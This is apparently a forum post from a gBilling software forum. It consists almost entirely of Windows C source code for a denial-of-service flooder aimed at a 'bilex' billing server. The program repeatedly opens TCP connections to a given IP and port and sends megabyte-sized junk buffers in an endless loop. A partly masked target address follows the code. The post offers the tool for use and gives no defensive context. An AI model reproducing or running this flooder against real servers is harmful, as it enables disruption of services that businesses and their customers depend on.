Forum Resmi gBilling

#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

#define DEFAULT_PORT 1500
#define DEFAULT_SIZE 1048576

static void
exit_error (const char *msg)
{
    printf ("%s: %i\n", msg, WSAGetLastError ());
    exit (EXIT_FAILURE);
}

static void
usage (const char *msg)
{
      printf ("Usage: %s <ip> [port] [paket]\n"
              "       ip     : bilex's server ip\n"
              "       port   : bilex's server port (default is 1500)\n"
              "       packet : packet size (default is 1048576 bytes)\n", msg);
      exit (EXIT_FAILURE);
}

int
main (int   argc,
      char *argv[])
{
    struct sockaddr_in saddr;
    int s, ret;
    short port = DEFAULT_PORT;
    long size = DEFAULT_SIZE;
    WORD WsaVer;
    WSADATA WsaData;

    if (argc < 2 || argc > 4)
       usage (argv[0]);
    if (argc == 3)
       port = atoi (argv[2]);
    if (argc == 4)
    {
        port = atoi (argv[2]);
        size = atol (argv[3]);
    }
   
    char buf[size];
   
    WsaVer = MAKEWORD (2, 2);
    if (WSAStartup (WsaVer, &WsaData))
        exit_error ("WSAStartup");
   
    memset (&saddr, 0, sizeof(saddr));
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr (argv[1]);
    saddr.sin_port = htons (port);
    memset (buf, 0xf, sizeof(buf));
   
    printf ("sucking... %s on port %i with %li bytes data\n", argv[1], port, size);
    while (1)
    {
        s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET)
            exit_error ("socket");
        ret = connect (s, (struct sockaddr *) &saddr, sizeof(saddr));
        if (ret == SOCKET_ERROR)
        {
            printf ("connect: %i\n", WSAGetLastError ());
            closesocket (s);
            continue;
        }
        ret = send (s, buf, sizeof(buf), 0);
        if (ret == -1)
            printf ("send: %i\n", WSAGetLastError ());

        closesocket (s);
    }

    WSACleanup ();
    return 0;
}

bilex 10.23.40.xxx